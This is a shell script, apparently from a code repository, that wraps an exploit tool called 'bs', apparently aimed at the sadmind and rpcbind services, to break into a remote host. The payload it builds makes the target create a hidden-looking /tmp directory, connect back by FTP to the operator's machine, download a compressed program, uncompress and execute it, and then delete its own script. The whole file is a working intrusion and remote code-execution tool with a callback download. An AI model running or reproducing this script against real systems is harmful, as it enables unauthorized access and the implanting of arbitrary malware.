109 lines
2.8 KiB
Bash
Executable file
109 lines
2.8 KiB
Bash
Executable file
#!/bin/sh
|
|
#
|
|
# Use bs to upload a program via reverse FTP and run it
|
|
#
|
|
|
|
# Some default values
|
|
SCRIPT="/tmp/...."
|
|
DIR="/tmp/..."
|
|
LOCAL_USER="test"
|
|
LOCAL_PASSWD="test"
|
|
|
|
# Show usage and exit
|
|
usage() {
|
|
echo "Old Usage: ${0} rem_ip rem_host loc_ip loc_user loc_passwd file [args...]"
|
|
echo ""
|
|
echo "New usage: ${0} [options] -- [options to <file2Xfer&Run>]"
|
|
echo " -i <remoteIP> (required)"
|
|
echo " -h <remoteHost> (required)"
|
|
echo " -a Use alt rpcbind port"
|
|
echo " -s <sndPort> def= bs default"
|
|
echo " -r <rcvPort> def= bs default"
|
|
echo " -d <remoteDomain>"
|
|
echo " -p <sadmindPort> def= query rpcbind"
|
|
echo " -l <localIP> (required)"
|
|
echo " -u <localUser> (def= test)"
|
|
echo " -P <localPassword> (def= test)"
|
|
echo " -f <file2Xfer&Run> (required)"
|
|
echo " -D <remoteDir> def= $DIR"
|
|
echo " -S <remoteScript> def= $SCRIPT"
|
|
exit 1
|
|
}
|
|
|
|
# There must be at least one argument
|
|
if [ ${#} -eq 0 ]; then
|
|
usage
|
|
fi
|
|
|
|
#
|
|
# Process args
|
|
#
|
|
if [ "`echo $1 | cut -c1`" != "-" ]; then
|
|
# Must be old style command line
|
|
[ $# -lt 6 ] && usage
|
|
|
|
REMOTE_IP=${1}
|
|
REMOTE_HOST=${2}
|
|
LOCAL_IP=${3}
|
|
LOCAL_USER=${4}
|
|
LOCAL_PASSWD=${5}
|
|
RUN_FILE=${6}
|
|
shift; shift; shift; shift; shift; shift
|
|
REMOTE_PORTS="23 23"
|
|
else
|
|
# New style options
|
|
while getopts i:h:as:r:d:p:l:u:P:f:D:S: op; do
|
|
case $op in
|
|
i) REMOTE_IP="-i $OPTARG";;
|
|
h) REMOTE_HOST="-h $OPTARG";;
|
|
a) altRpcbind="-a";;
|
|
s) sndPort="-s $OPTARG";;
|
|
r) rcvPort="-r $OPTARG";;
|
|
d) remDomain="-d $OPTARG";;
|
|
p) sadmindPort="-p $OPTARG";;
|
|
l) LOCAL_IP="$OPTARG";;
|
|
u) LOCAL_USER="$OPTARG";;
|
|
P) LOCAL_PASSWD="$OPTARG";;
|
|
f) RUN_FILE="$OPTARG";;
|
|
D) DIR="$OPTARG";;
|
|
S) SCRIPT="$OPTARG";;
|
|
esac
|
|
done
|
|
cmdFlag="-c"
|
|
extraOpts="$altRpcbind $sndPort $rcvPort $remDomain $sadmindPort"
|
|
shift `expr $OPTIND - 1`
|
|
|
|
# Check for required args
|
|
[ -z "$REMOTE_IP" ] && echo "Error: missing remote IP" && usage
|
|
[ -z "$REMOTE_HOST" ] && echo "Error: missing remote host" && usage
|
|
[ -z "$LOCAL_IP" ] && echo "Error: missing local IP" && usage
|
|
fi
|
|
EXTRA="${*}"
|
|
|
|
|
|
echo "running: bs ${REMOTE_IP} ${REMOTE_HOST} ${REMOTE_PORTS} $extraOpts ..."
|
|
echo "--> my IP is $LOCAL_IP"
|
|
echo "--> local user/pass is $LOCAL_USER/$LOCAL_PASSWD"
|
|
echo "--> xfering and running $RUN_FILE"
|
|
echo "--> using tmp file $SCRIPT"
|
|
echo "--> using tmp dir $DIR"
|
|
|
|
#exit 0
|
|
|
|
bs ${REMOTE_IP} ${REMOTE_HOST} ${REMOTE_PORTS} $extraOpts \
|
|
$cmdFlag "/bin/echo \"/bin/mkdir ${DIR}
|
|
/bin/ftp -in << EOF
|
|
open ${LOCAL_IP}
|
|
user ${LOCAL_USER} ${LOCAL_PASSWD}
|
|
binary
|
|
lcd ${DIR}
|
|
get ${RUN_FILE}.Z
|
|
EOF
|
|
cd ${DIR}
|
|
/usr/bin/uncompress -f ${RUN_FILE}.Z
|
|
/bin/chmod 0700 ${RUN_FILE}
|
|
PATH=${DIR} ${RUN_FILE} ${EXTRA}
|
|
/bin/rm ${SCRIPT}
|
|
\" > ${SCRIPT} &&
|
|
/bin/sh ${SCRIPT}"
|
|
|